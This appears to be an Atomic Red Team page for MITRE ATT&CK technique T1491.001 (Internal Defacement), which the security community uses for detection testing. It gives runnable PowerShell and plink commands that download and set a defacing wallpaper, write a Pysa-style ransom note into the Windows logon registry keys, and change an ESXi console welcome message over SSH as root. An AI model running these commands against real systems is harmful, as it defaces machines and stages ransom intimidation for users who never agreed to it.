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T1491.001 - Defacement: Internal Defacement

Description from ATT&CK

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

Atomic Tests


Atomic Test #1 - Replace Desktop Wallpaper

Downloads an image from a URL and sets it as the desktop wallpaper.

Supported Platforms: Windows

auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3

Inputs:

Name Description Type Default Value
url_of_wallpaper URL pointing to the image file you wish to set as wallpaper url https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png
pointer_to_orginal_wallpaper Full path to where a file containing the original wallpaper location will be saved string $env:TEMP\T1491.001-OrginalWallpaperLocation
wallpaper_location Full path to where the downloaded wallpaper image will be saved string $env:TEMP\T1491.001-newWallpaper.png

Attack Commands: Run with powershell!

$url = "#{url_of_wallpaper}"
$imgLocation = "#{wallpaper_location}"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Control Panel\Desktop\' -Name WallPaper).WallPaper
$orgWallpaper | Out-File -FilePath "#{pointer_to_orginal_wallpaper}"
$updateWallpapercode = @' 
using System.Runtime.InteropServices; 
namespace Win32{

    public class Wallpaper{ 
        [DllImport("user32.dll", CharSet=CharSet.Auto)] 
         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; 
         
         public static void SetWallpaper(string thePath){ 
            SystemParametersInfo(20,0,thePath,3); 
        }
    }
} 
'@
$wc = New-Object System.Net.WebClient  
try{  
    $wc.DownloadFile($url, $imgLocation)
    add-type $updateWallpapercode 
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
} 
catch [System.Net.WebException]{  
    Write-Host("Cannot download $url") 
    add-type $updateWallpapercode 
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
} 
finally{    
    $wc.Dispose()  
}

Cleanup Commands:

$updateWallpapercode = @' 
using System.Runtime.InteropServices; 
namespace Win32{

    public class Wallpaper{ 
        [DllImport("user32.dll", CharSet=CharSet.Auto)] 
         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; 
         
         public static void SetWallpaper(string thePath){ 
            SystemParametersInfo(20,0,thePath,3); 
        }
    }
} 
'@
if (Test-Path -Path #{pointer_to_orginal_wallpaper} -PathType Leaf) {
     $orgImg = Get-Content -Path "#{pointer_to_orginal_wallpaper}"
     add-type $updateWallpapercode 
     [Win32.Wallpaper]::SetWallpaper($orgImg)
}
Remove-Item "#{pointer_to_orginal_wallpaper}" -ErrorAction Ignore
Remove-Item "#{wallpaper_location}" -ErrorAction Ignore


Atomic Test #2 - Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message

Display ransom message to users at system start-up by configuring registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText.

SynAck Ransomware, Grief Ransomware, Maze Ransomware, Pysa Ransomware, Spook Ransomware, DopplePaymer Ransomware, Reedemer Ransomware, Kangaroo Ransomware

Supported Platforms: Windows

auto_generated_guid: ffcbfaab-c9ff-470b-928c-f086b326089b

Inputs:

Name Description Type Default Value
legal_notice_caption Title of ransom message string PYSA
legal_notice_text Body of ransom message string Hi Company, every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data contact us:xxxx@onionmail.org

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption).LegalNoticeCaption
$orgLegalNoticeText = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText).LegalNoticeText
$newLegalNoticeCaption = "#{legal_notice_caption}"
$newLegalNoticeText = "#{legal_notice_text}"
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force

Cleanup Commands:

Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force


Atomic Test #3 - ESXi - Change Welcome Message on Direct Console User Interface (DCUI)

Changes the ESXi welcome message to potentially display ransom information. Reference

Supported Platforms: Windows

auto_generated_guid: 30905f21-34f3-4504-8b4c-f7a5e314b810

Inputs:

Name Description Type Default Value
vm_host Specify the host name or IP of the ESXi server. string atomic.local
vm_user Specify the privilege user account on the ESXi server. string root
vm_pass Specify the privileged user's password. string password
plink_file Path to Plink path PathToAtomicsFolder\..\ExternalPayloads\plink.exe

Attack Commands: Run with command_prompt!

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'"

Dependencies: Run with powershell!

Description: Check if we have plink
Check Prereq Commands:
if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"